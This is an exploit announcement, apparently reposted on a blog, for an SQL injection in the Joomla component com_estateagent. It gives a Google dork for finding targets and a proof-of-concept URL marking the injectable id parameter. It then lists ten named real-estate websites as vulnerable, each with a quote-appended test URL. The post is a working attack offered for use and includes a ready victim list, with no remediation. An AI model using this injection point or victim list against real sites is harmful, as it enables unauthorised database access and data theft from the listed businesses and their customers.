0 Exploit Joomla The Estate Agent (com_estateagent) SQL injection Vulnerability

##################################################

# Exploit Title: joomla component (com_estateagent) SQL injection Vulnerability

# Date: 10/04/2012

# Author: xDarkSton3x

# E-mail : xdarkston3x@msn.com

# Category:: webapps

# Google dork: inurl:"com_estateagent"

# Tested on: linux + windows

# Vendor link: http://www.eaimproved.eu/index.php

##################################################

[~]Exploit/p0c :http://site.com/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]

Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team  -  DiosdelaRed.Com - RemoteExecution ] [ Dedalo - Maztor ]

Saya Sertakan 10 Web yang Vulnerable:

------------------------------------------------------------------
http://www.presnc.org/index.php?option=com_estateagent&Itemid=80&act=object&task=showEO&id=453'
------------------------------------------------------------------
http://www.gold-property.com/index.php?option=com_estateagent&act=listAO&id=62'
------------------------------------------------------------------
http://www.agence-les-oliviers.com/index.php?option=com_estateagent&Itemid=27&act=object&task=showEO&id=93'
------------------------------------------------------------------
http://dlcinvestments.com/v2/index.php?option=com_estateagent&Itemid=10&act=object&task=showEO&id=2'
------------------------------------------------------------------
http://www.gabettifossano.com/index.php?option=com_estateagent&Itemid=9&act=object&task=showEO&id=115'
------------------------------------------------------------------
http://www.jrwalshrealty.com/index.php?option=com_estateagent&Itemid=38&act=object&task=showEO&id=1'
------------------------------------------------------------------
http://www.thehamptonrealty.com/clarksville-ar-realty/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=7'
------------------------------------------------------------------
http://www.dominionholdingsllc.com/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=81'
------------------------------------------------------------------
http://www.keywiseproperties.co.uk/index.php?option=com_estateagent&Itemid=64&act=object&task=showEO&id=1'
------------------------------------------------------------------
http://www.immotheque.ch/index.php?option=com_estateagent&Itemid=4&act=object&task=showEO&id=39'
------------------------------------------------------------------

Artikel Terkait